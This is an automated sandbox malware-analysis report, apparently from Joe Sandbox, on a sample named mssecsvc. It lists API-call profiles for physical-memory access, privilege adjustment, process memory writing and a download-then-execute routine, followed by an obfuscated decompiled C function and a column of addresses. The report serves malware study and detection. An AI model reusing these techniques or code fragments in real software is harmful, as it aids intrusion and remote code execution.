                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$\Device\PhysicalMemory
                                                                                          • API String ID: 2985292042-459637581
                                                                                          • Opcode ID: b4d3e096044a212734f125868e85b1e2327fa10042064e7aff92d63e5b5619a7
                                                                                          • Instruction ID: ab3470033767ba08252561c6da93687e3ae021c62f5515d8fcb40e39bd3fca3f
                                                                                          • Opcode Fuzzy Hash: b4d3e096044a212734f125868e85b1e2327fa10042064e7aff92d63e5b5619a7
                                                                                          • Instruction Fuzzy Hash: 41817871500208BFEB248F15CC89FAA3BBCEF44705F51861CED199B291D7F0AF458AA4
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA3405 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 61filenativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA344A
                                                                                          • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3469
                                                                                          • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA3493
                                                                                          • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA34A0
                                                                                          • UnmapViewOfFile.KERNEL32(?), ref: 7FEA34B8
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3414
                                                                                          • ysic, xrefs: 7FEA3450, 7FEA3466
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$ysic
                                                                                          • API String ID: 2985292042-1276281950
                                                                                          • Opcode ID: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                                                                                          • Instruction ID: 20dbb16ab5d0e33e58175ecc7424444a29ed84bf4ea1b595fcedbc50fe00d084
                                                                                          • Opcode Fuzzy Hash: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                                                                                          • Instruction Fuzzy Hash: D5115B74140608BFEB21CF10CC55FAA7A7DEF88704F50451CEA1A9E290EBF56F188A68
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC3405 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 61filenativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00AC344A
                                                                                          • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00AC3469
                                                                                          • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00AC3493
                                                                                          • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00AC34A0
                                                                                          • UnmapViewOfFile.KERNEL32(?), ref: 00AC34B8
                                                                                          Strings
                                                                                          • C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1, xrefs: 00AC3414
                                                                                          • ysic, xrefs: 00AC3450, 00AC3466
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                          • String ID: C:\Program Files (x86)\NjHUTDPCmcVJSwopOCnHncfSxMDIxOGndoGKQqyLCvaciSAZPuFwF\ZsUiINQevbAFbBDlLF.exe:*:enabled:@shell32.dll,-1$ysic
                                                                                          • API String ID: 2985292042-1276281950
                                                                                          • Opcode ID: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                                                                                          • Instruction ID: 0a394d266af3059d0b7e8a43ae7c773aa28f9baead7ec7dc99eff1d737410276
                                                                                          • Opcode Fuzzy Hash: 75692eae59ef229a2f56f45455e385a3c03fd5a3a941212ab90a82f7e6085517
                                                                                          • Instruction Fuzzy Hash: 15116D71140608BBEB24CF14DC59FEA367DEF88704F51851CEA199B290E7F46F148A69
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC27A7 Relevance: 12.1, APIs: 8, Instructions: 65filenetworkprocessCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetTempFileNameA.KERNEL32(?,00AC27A3,00000000,?), ref: 00AC27A8
                                                                                          • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00AC27A3,00000000,?), ref: 00AC27C3
                                                                                          • InternetReadFile.WININET(?,?,00000104), ref: 00AC27DD
                                                                                          • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00AC27A3,00000000,?), ref: 00AC27F3
                                                                                          • CloseHandle.KERNEL32(?,00000104,?,00000000,?,00AC27A3,00000000,?), ref: 00AC27FF
                                                                                          • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00AC27A3), ref: 00AC2823
                                                                                          • InternetCloseHandle.WININET(?), ref: 00AC2833
                                                                                          • InternetCloseHandle.WININET(00000000), ref: 00AC283A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: File$CloseHandleInternet$Create$NameProcessReadTempWrite
                                                                                          • String ID:
                                                                                          • API String ID: 3452404049-0
                                                                                          • Opcode ID: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                                                                                          • Instruction ID: 4f75b582316cc80b2459c3936248e5078d11b2ab0a187313c3f79fd4682b5732
                                                                                          • Opcode Fuzzy Hash: bbf5c5561a5178fb7ef464295b4b729c13e68fcf671b41c3dcb44b7c67eff673
                                                                                          • Instruction Fuzzy Hash: E7116DB1100606BBEB254B20CC8AFFB7A2DEF94B10F004519FA0699080DBF59E5196A8
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA4C9E Relevance: 8.4, Strings: 6, Instructions: 887COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: File$AttributesCreate$MappingView
                                                                                          • String ID: !$&$&$($@$nr
                                                                                          • API String ID: 1961427682-1764398444
                                                                                          • Opcode ID: ca4b14d73f45f61d665580bec25309a019042856bb4025a81abf2cb681eaa56f
                                                                                          • Instruction ID: 08bbab8ec06bd5f7f7b8710495c632e2e6f5e3fb8604892a33bf3f0075af46c7
                                                                                          • Opcode Fuzzy Hash: ca4b14d73f45f61d665580bec25309a019042856bb4025a81abf2cb681eaa56f
                                                                                          • Instruction Fuzzy Hash: 59822132505309EFDB26CF28C4457B97BBAEF41328F105259D81A8F295D3B6AF94CB81
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA24AE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46stringnativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • lstrcpyW.KERNEL32(?,\BaseNamedObjects\mdatVt), ref: 7FEA24BA
                                                                                          • lstrlenW.KERNEL32(?), ref: 7FEA24C1
                                                                                          • NtCreateSection.NTDLL(?,0000000E,?,?,00000040,08000000,00000000), ref: 7FEA2516
                                                                                          Strings
                                                                                          • \BaseNamedObjects\mdatVt, xrefs: 7FEA24B8
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CreateSectionlstrcpylstrlen
                                                                                          • String ID: \BaseNamedObjects\mdatVt
                                                                                          • API String ID: 2597515329-3892990589
                                                                                          • Opcode ID: 24e1d5014f48b771b06b1897b2dc165c095764915861e9c5feceffd7b0ebf951
                                                                                          • Instruction ID: fb516ef08b1e19aad9f16e28aa2edb8dbdd108ea61d96079cabe2d8a09ed22ec
                                                                                          • Opcode Fuzzy Hash: 24e1d5014f48b771b06b1897b2dc165c095764915861e9c5feceffd7b0ebf951
                                                                                          • Instruction Fuzzy Hash: AF0181B0781304BAF7309B29CC8BF5B7D29DFC1B50F508558F709AE1C4DAB89A0483A9
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC24AE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46stringnativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • lstrcpyW.KERNEL32(?,\BaseNamedObjects\mdatVt), ref: 00AC24BA
                                                                                          • lstrlenW.KERNEL32(?), ref: 00AC24C1
                                                                                          • NtCreateSection.NTDLL(?,0000000E,?,?,00000040,08000000,00000000), ref: 00AC2516
                                                                                          Strings
                                                                                          • \BaseNamedObjects\mdatVt, xrefs: 00AC24B8
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: CreateSectionlstrcpylstrlen
                                                                                          • String ID: \BaseNamedObjects\mdatVt
                                                                                          • API String ID: 2597515329-3892990589
                                                                                          • Opcode ID: 24e1d5014f48b771b06b1897b2dc165c095764915861e9c5feceffd7b0ebf951
                                                                                          • Instruction ID: bfa2cc3ce36fc1f43974439354d2bec5fad6b8c2506a8de499b552e867760a47
                                                                                          • Opcode Fuzzy Hash: 24e1d5014f48b771b06b1897b2dc165c095764915861e9c5feceffd7b0ebf951
                                                                                          • Instruction Fuzzy Hash: 6E0181B0785304BAF7309B29CC8BF5B7D29DF81B50F508558F709AE1C4DAB89A0483A9
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA252F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29nativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • NtOpenSection.NTDLL(?,0000000E), ref: 7FEA255E
                                                                                          Strings
                                                                                          • \BaseNamedObjects\mdatVt, xrefs: 7FEA254B
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: OpenSection
                                                                                          • String ID: \BaseNamedObjects\mdatVt
                                                                                          • API String ID: 1950954290-3892990589
                                                                                          • Opcode ID: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                                                                                          • Instruction ID: cc492c20b74137972e1aeb42a549193fdcd5baff80c1f90c3202c4eb3a6ea2fd
                                                                                          • Opcode Fuzzy Hash: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                                                                                          • Instruction Fuzzy Hash: A1E0DFF1342105BAFB288B19CC07FB7220DCBC0600F048604F918DA090E6F4AF104278
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA2574 Relevance: 3.1, APIs: 2, Instructions: 66nativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 7FEA252F: NtOpenSection.NTDLL(?,0000000E), ref: 7FEA255E
                                                                                          • NtMapViewOfSection.NTDLL(00000000,?,?,00000000,0000B7C4,00000000,?,00000002,00100000,00000040), ref: 7FEA25A4
                                                                                          • CloseHandle.KERNEL32(00000000,0000B7C4,00000000,?,00000002,00100000,00000040,00000000,0000B7C4,00000000,?,7FEA0815), ref: 7FEA25AC
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: Section$CloseHandleOpenView
                                                                                          • String ID:
                                                                                          • API String ID: 2731707328-0
                                                                                          • Opcode ID: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                                                                                          • Instruction ID: 3cc34a18b6b0f74ef45f64819b33cb598c6401d77195fbf03454f98489c8026e
                                                                                          • Opcode Fuzzy Hash: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                                                                                          • Instruction Fuzzy Hash: 9A21F970301646BBDB18DE65CC55FBA7369FF80648F401118E85ABE1D4DBB2BA24C758
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA1422 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                                                                                          • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                          • String ID:
                                                                                          • API String ID: 3615134276-0
                                                                                          • Opcode ID: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                                                                                          • Instruction ID: ddbff97e699881e74d61e2820170bd54818263a6fff0c1519b9bac5ac29647fb
                                                                                          • Opcode Fuzzy Hash: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                                                                                          • Instruction Fuzzy Hash: 5BF0AE36542510BBD7205F56CD8EED77F28EF533A0F144556F4484E151C2624BA5D3F4
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA2477 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • NtProtectVirtualMemory.NTDLL(?,?,?,00000040), ref: 7FEA249B
                                                                                          • NtWriteVirtualMemory.NTDLL ref: 7FEA24A4
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: MemoryVirtual$ProtectWrite
                                                                                          • String ID:
                                                                                          • API String ID: 151266762-0
                                                                                          • Opcode ID: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                          • Instruction ID: 6bbb67ea70d6ee96dfa5f1d7b4d314b28acc786a60d934acbd3f762ecc45b662
                                                                                          • Opcode Fuzzy Hash: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                          • Instruction Fuzzy Hash: 2AE012E07502007FF5185F55DC5FF7B391DDB41751F410208FA0A981C4F9A15E18467A
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA144A Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                                                                                          • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                          • String ID:
                                                                                          • API String ID: 3615134276-0
                                                                                          • Opcode ID: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                                                                                          • Instruction ID: ee32c209e3d0a2de55b6acbdbca8a3d00d8b73f2470e3acbbab87dcaf3c2c19a
                                                                                          • Opcode Fuzzy Hash: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                                                                                          • Instruction Fuzzy Hash: F2D06731643034BBD6312A568C0EEE77D1DEF577A0F015041F9089A1A1C5A28EA1C7F5
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 7FEA28C8 Relevance: .1, Instructions: 107COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                                                                                          • Instruction ID: 599e4210a27b95691828082bf071d632d483ec5813d8a2b375e76b2b2bcd3a21
                                                                                          • Opcode Fuzzy Hash: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                                                                                          • Instruction Fuzzy Hash: 6A31F5326006158BEB148E38C94079AB7F2FB84704F10C63CE557FB594D676F6898BC0
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00AC28C8 Relevance: .1, Instructions: 107COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00AC0000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_4_2_ac0000_mssecsvc.jbxd
                                                                                          Yara matches
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                                                                                          • Instruction ID: 2e61099f64a78ab7583943c58d111484289b82e4e0b73db93967b11ba732727b
                                                                                          • Opcode Fuzzy Hash: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                                                                                          • Instruction Fuzzy Hash: EC312A326006198FEB248F38C840B9AB7F2FB94304F11863CE556E7690D675FA898BC0
                                                                                          Uniqueness

                                                                                          Uniqueness Score: -1.00%

                                                                                          Function 00A71971 Relevance: .1, Instructions: 61COMMON
                                                                                          Download Yara Rule
                                                                                          C-Code - Quality: 64%
                                                                                          			E00A71971() {
				void* _t139;
				intOrPtr _t144;
				void* _t150;
				void* _t196;
				unsigned int _t198;
				void* _t204;
				void* _t210;
				void* _t211;
				void* _t216;
				signed int _t229;
				void* _t239;
				void* _t243;
				intOrPtr* _t244;
				void* _t254;
				void* _t255;
				signed int _t258;
				void* _t259;
				void* _t262;
				void* _t263;
				void* _t264;
				intOrPtr* _t265;
				void* _t271;
				void* _t272;

				E00A71710(_t210, 0x2b917797);
				asm("adc dh, 0x3f");
				_push(_t258);
				_t237 =  *[fs:0x30];
				_t243 = _t211;
				if( *[fs:0x30] < 0) {
					L53:
					_pop(_t244);
					_t139 = E00A71948( *_t244(), _t210, _t211 - _t210, _t237, _t244);
					__eflags =  *((intOrPtr*)(_t262 - 0xc1)) - 0x1be;
					if( *((intOrPtr*)(_t262 - 0xc1)) > 0x1be) {
						_t258 = _t258 -  *((intOrPtr*)(_t265 + 0x28));
						__eflags = _t258;
						if(_t258 > 0) {
							asm("wait");
							asm("sbb edx, [ecx+0x2b]");
							asm("sbb eax, eax");
							_t237 = ((_t139 -  *((intOrPtr*)(_t265 + 0x30))) / _t258 - 0xffffffffff6977f8) * 0xcfa924b3;
							__eflags = ((_t139 -  *((intOrPtr*)(_t265 + 0x30))) / _t258 - 0xffffffffff6977f8) * 0xcfa924b3;
							asm("sbb [ebp+0x13c], dh");
							_t244 = 0xfffffff4;
							_t258 =  !0xf0;
						}
					}
					_push( *((intOrPtr*)(_t262 - 0x8d)));
					_t243 = _t244 - 0x678d + _t262;
					__eflags = _t258 - 9;
					asm("clc");
					asm("adc ecx, esi");
					_pop(_t239);
					E00A71AD3(_t239, _t243, _t258);
					 *_t265 = 0x142128fb;
					E00A71710(_t210);
					_t240 =  *((intOrPtr*)(_t262 + 0x149));
					L3();
					_t263 = _t258;
					_t264 = _t263 - 0xd27142d;
					 *(_t264 + 0xd271889) =  *(_t264 + 0xd271889) & 0x00000000;
					 *(_t264 + 0xd27188d) =  *(_t264 + 0xd27188d) & 0x00000000;
					 *(_t264 + 0xd271891) =  *(_t264 + 0xd271891) & 0x00000000;
					 *((char*)(_t264 + 0xd2715bb)) = 1;
					_pop( *_t12);
					 *((intOrPtr*)(_t264 + 0xd2779c0)) = _t264 + 0xd271421 +  *((intOrPtr*)(_t264 + 0xd271421 - 4));
					 *((intOrPtr*)(_t264 + 0xd2779bc)) = _t240;
					 *((intOrPtr*)(_t264 + 0xd2715b4)) = _t263 + 0x6990;
					_push(_t243);
					_t216 = 0x35;
					_t259 = _t264 + 0xd2721d6;
					_t144 = L00A6BDCE(_t264 + 0xd271421 +  *((intOrPtr*)(_t264 + 0xd271421 - 4)), _t210, _t216);
					asm("rdtsc");
					 *((intOrPtr*)(_t264 + 0xd2779c8)) = _t144;
					 *((intOrPtr*)(_t264 + 0xd2779cc)) = _t144;
					_t274 =  *((char*)(_t264 + 0xd271877)) - 1;
					if( *((char*)(_t264 + 0xd271877)) != 1) {
						 *((char*)(_t264 + 0xd271878)) = 0;
					} else {
						L00A6D43C(0x1cffffff);
						_t240 = _t240 + 0x30000001;
						 *((intOrPtr*)(_t264 + 0xd2768cf)) = _t240;
						_t204 =  *((intOrPtr*)(_t264 + 0xd2722aa))(0);
						 *((char*)(_t264 + 0xd271877)) =  *((char*)(_t264 + 0xd271877)) - 1;
						 *(_t264 + 0xd271879) =  *(_t204 + 0x12) & 0x0000ffff;
						 *((char*)(_t264 + 0xd271878)) = 1;
					}
					 *((char*)(_t264 + 0xd27375c)) = 0x47;
					L00A6D450(3, _t240, _t274);
					_pop(0xa71abd);
					 *((char*)(_t264 + 0xd27375c)) = 0x90;
					if( *((intOrPtr*)(_t264 + 0xd27231e))() >> 0x1f == 0) {
						if( *((intOrPtr*)(_t264 + 0xd2722e6)) == 0) {
							goto L11;
						}
						 *(_t264 + 0xd2779d0) =  *(_t264 + 0xd2779d0) & 0x00000000;
						 *((intOrPtr*)(_t264 + 0xd272362))(0xffffffff, 0xff);
						L14();
						_t265 = _t265 + 1;
						_t210 = _t210 + _t210;
						_t150 =  *((intOrPtr*)(_t264 + 0xd2722aa))(_t265);
						_t259 = _t264 + 0xd27237e;
					} else {
						_push(0x40);
						_push(0x8001000);
						 *(_t264 + 0xd2779d0) =  *0x00A71AD1 + _t210;
						_push(0x77c4);
						_push(0);
						if( *((intOrPtr*)(_t264 + 0xd272372))() != 0) {
							L00A6B005();
							_t271 = _t265 - 0x20;
							_t229 = 8;
							_t240 = _t264 + 0xd273694;
							memset(_t271, 0, _t229 << 2);
							_t272 = _t271 + 0xc;
							_t254 = _t272;
							 *((intOrPtr*)(_t254 + 0x10)) = _t264 + 0xd273694;
							 *((char*)(_t254 + 0x1c)) =  *((char*)(_t254 + 0x1c)) + 1;
							_t196 =  *(_t264 + 0xd2779d0)(0x10003, _t254);
							_t265 = _t272 + 0x20;
							if(_t196 != 0) {
								_t255 = _t196;
								_t198 =  *(_t264 + 0xd2779d0)(0x10000, 0x80000400, 1, 0);
								if(_t198 != 0) {
									 *(_t264 + 0xd2779d0)(0x10001, _t198 >> 0xc, 1, _t255, 0, 0x40000, _t198, 0);
									 *(_t264 + 0xd2779d0)(0x1000a);
									L00A6B2BA();
								}
							}
						}
						L11:
						 *((intOrPtr*)(_t264 + 0xd2722c6))( *((intOrPtr*)(_t265 + 0x30)));
						goto __edi;
					}
				} else {
					_push(__ebx);
					__ebx =  *((intOrPtr*)(__edx + 0x1c));
					__ah = __ah ^ __bh;
					_push(1);
					__ebx =  *((intOrPtr*)(__ebx + 8));
					__eax = 0x510ed533;
					__eax = E00A71710(__ebx, 0xfb0ab59b);
					__bh = __bh + __al;
					__eax = __eax - 1;
					__edx = __esp;
					_push(4);
					__edi = __edx;
					_push(__edx);
					_push(0x15);
					__eflags = __edi - 0xc552d06f;
					L00A7170A();
					__esp = __esp + 4;
					__ebx = 0xffffffff;
					goto L53;
				}
			}


























                                                                                          0x00a7197a
                                                                                          0x00a7197f
                                                                                          0x00a71982
                                                                                          0x00a71983
                                                                                          0x00a7198c
                                                                                          0x00a7198e
                                                                                          0x00a7185b
                                                                                          0x00a7185b
                                                                                          0x00a71860
                                                                                          0x00a71867
                                                                                          0x00a71871
                                                                                          0x00a71877
                                                                                          0x00a71877
                                                                                          0x00a71880
                                                                                          0x00a71885
                                                                                          0x00a71893
                                                                                          0x00a718ab
                                                                                          0x00a718af
                                                                                          0x00a718af
                                                                                          0x00a718b5
                                                                                          0x00a718bb
                                                                                          0x00a718bc
                                                                                          0x00a718bc
                                                                                          0x00a71880
                                                                                          0x00a718c5
                                                                                          0x00a718cb
                                                                                          0x00a718cd
                                                                                          0x00a718d1
                                                                                          0x00a718d2
                                                                                          0x00a718d4
                                                                                          0x00a718d5
                                                                                          0x00a6b115
                                                                                          0x00a6b11c
                                                                                          0x00a6b122
                                                                                          0x00a6b128
                                                                                          0x00a6b12d
                                                                                          0x00a6b134
                                                                                          0x00a6b13a
                                                                                          0x00a6b147
                                                                                          0x00a6b151
                                                                                          0x00a6b158
                                                                                          0x00a6b15f
                                                                                          0x00a6b165
                                                                                          0x00a6b16b
                                                                                          0x00a6b171
                                                                                          0x00a6b177
                                                                                          0x00a6b183
                                                                                          0x00a6b184
                                                                                          0x00a6b18a
                                                                                          0x00a6b18f
                                                                                          0x00a6b191
                                                                                          0x00a6b197
                                                                                          0x00a6b19d
                                                                                          0x00a6b1a4
                                                                                          0x00a6b1dd
                                                                                          0x00a6b1a6
                                                                                          0x00a6b1ab
                                                                                          0x00a6b1b0
                                                                                          0x00a6b1b8
                                                                                          0x00a6b1be
                                                                                          0x00a6b1c8
                                                                                          0x00a6b1ce
                                                                                          0x00a6b1d4
                                                                                          0x00a6b1d4
                                                                                          0x00a6b1ea
                                                                                          0x00a6b1f3
                                                                                          0x00a6b1f8
                                                                                          0x00a6b1f9
                                                                                          0x00a6b209
                                                                                          0x00a6b2d1
                                                                                          0x00000000
                                                                                          0x00000000
                                                                                          0x00a6b2d3
                                                                                          0x00a6b2e1
                                                                                          0x00a6b2e7
                                                                                          0x00a6b2f0
                                                                                          0x00a6b2f1
                                                                                          0x00a6b2f2
